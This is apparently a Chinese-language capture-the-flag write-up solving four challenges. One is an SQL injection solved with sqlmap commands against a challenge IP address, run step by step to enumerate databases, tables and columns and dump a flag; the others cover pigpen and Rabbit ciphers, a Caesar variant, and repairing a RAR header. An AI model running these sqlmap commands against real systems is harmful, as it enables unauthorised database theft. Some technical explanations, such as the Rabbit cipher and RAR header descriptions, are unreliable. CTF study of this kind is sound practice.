目录
一、easy_sql
1.1 题目
1.2 思路
- 根据题目“easy_sql"可猜测这是 sql 注入漏洞,用 sqlmap 工具获取 flag。
- sqlmap 是一个自动化的 sql 注入工具,其主要功能是扫描,发现并利用给定的 url 的 sql注入漏洞。
- ps:sqlmap 安装教程,参考文章
1.3 writeup
可使用下面语句查看 sqlmap 的参数以及用法:
python sqlmap.py -h
这些选项可用于枚举后端数据库管理系统信息、表结构与表中的数据:
-a,--all | 获取所有信息 |
-b,--banner | 获取DBMS横幅 |
--current-user | 获取DBMS当前用户 |
--current-db | 获取DBMS当前数据库 |
--passwords | 枚举DBMS用户密码哈希值 |
--dbs | 枚举DBMS数据库 |
--tables | 枚举DBMS数据库表 |
--columns | 枚举DBMS数据库表列 |
--schema | 枚举DBMS模式 |
--dump | 转储DBMS数据库表条目 |
--dump-all | 转储所有DBMS数据库表条目 |
-D DB | 要枚举的DBMS数据库 |
-T TBL | 要枚举的DBMS数据库表(s) |
-C COL | 要枚举的DBMS数据库表列(s) |
--batch 可使得选项全选 yes。
1.3.1 探测是否存在漏洞
python sqlmap.py -u "http://139.155.53.188:10103/?inject=1"
经上述探测可得存在 sql 注入漏洞,中文翻译如下:
1.3.2 查询所有数据库
python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" --dbs
1.3.3 获取数据库的表名
选取任意一个数据库查询其表名:
python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" -D supersqli --tables
1.3.4 获取表的列名
选取任意一个表查询其列名:
python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" -D supersqli -T flag --columns
1.3.5 获取列的字段内容
经查询,该表仅有一个列,查询该列中的字段内容:
python sqlmap.py -u "http://139.155.53.188:10103/?inject=1" -D supersqli -T flag --columns -dump
即得到最终的 flag:flag{patience_is_the_key_of_life}。
二、Rabbit&Pig
2.1 题目
给了一个 pdf 文件和 txt 文本,pdf 里面是一张图片,txt 里是文本,如下所示:
2.2 思路
题目蕴含解题信息,由“Rabbit&Pig”可以猜测该题用到 rabbit 加密和猪圈加密。
Rabbit 序列密码是一种基于混沌理论的加密算法,它利用了混沌系统的随机性和不可预测性来保护数据的安全性。Rabbit 序列密码的加密过程包括以下步骤:
- 初始化:生成一个随机的 128 位密和一个随机的 64 位初始化向
- 密钥扩展:用密钥和初始化向量生成一系列的密钥和向量,用于后续的加密和解密操作
- 加密:将明文分成 64 位的块,使用密钥和向量进行加密,得到密文
- 解密:使用相同的密钥和向量对密文进行解密,得到明文。
Rabbit 序列密码的安全性主要来自于混沌系统的随机性和不可预测性,使得攻击者无法通过破解算法或暴力破解的方式来获取密钥和明文。
rabbit 是一个加密算法,不能通过暴力破解,需要密钥,而猪圈加密得到的明文可能就是密钥。
2.3 writeup
打开 pdf 文件,在 wps 里编辑图片时,可以得到这是两张图片叠加在一起的,将隐藏图片拖至空白处可见其图片信息,如下图所示:
很显然这是一串猪圈密码,用猪圈密码在线解密工具进行解密:
根据 txt 文本利用 rabbit 在线解密工具进行解密:
三、变异凯撒
3.1 题目
一个 txt 文件,内容为:mrfk~Gbsx]@]`mZjt。
3.2 思路
根据题目“变异凯撒”,可以猜测这是凯撒密码,利用随波逐流工具解密,或写 python 脚本实现。
3.3 writeup
m 要对应到 f 则需移动 7 个位数,该凯撒加密的偏移量为 7,将每个字母加 7 得 flag。
四、用中文密码呀
4.1 题目
给了一个名为 rar 的文件,用记事本打开出现乱码,用010Editer打开如下:
4.2 思路
由文件名“rar”可得这大抵是个 rar 压缩文件,但现在显示不出来,可能为文件头缺失。题目为“用中文解密啊”,所以可能过程中解密出来会有中文。
4.3 writeup
网上搜索 rar 文件格式,可以得到 1a 前面缺失了 52 61 72 21 这几个数据。
52 61 72 21 1A 07 00 //左边是低字节 ,右边是高字节,这是 RAR4.x 的签名
签名即标志着该文件是由支持 rar4.x 版本的软件压缩而成,如果使用支持 5.0 版本的压缩软件压缩,其签名可能会不同。
- 52 61:为头部校验和(HEAD_CRC),占两个字节,每一块均从 HEAD_CRC 开始,所有的 RAR 都以 52 61 开头;
- 72:为块类型(HEAD_TYPE),占一个字节,所有文件都如此;
- 21 1A 为块标记(HEAD_FLAGS),占两个字节;
- 07 00:表示块大小 ,即 52 61 72 21 1A 07 00 (标记块)共占7个字节。
将 52 61 72 21 这几个数据加到 1a 前面,重新保存为 rar.rar:
得到一串数字:205341760008258571777309,用随波逐流解密,因为题目为“用中文密码啊”,所以得到明文为中文:
双击打开文件 flag.txt 还需要密码,将上述中文复制粘贴到密码框中:
打开文本文件,里面是是 Brainfuck语言 写的文本:
用随波逐流解密得 flag 为 flag{H55_a3n_L897_U268}: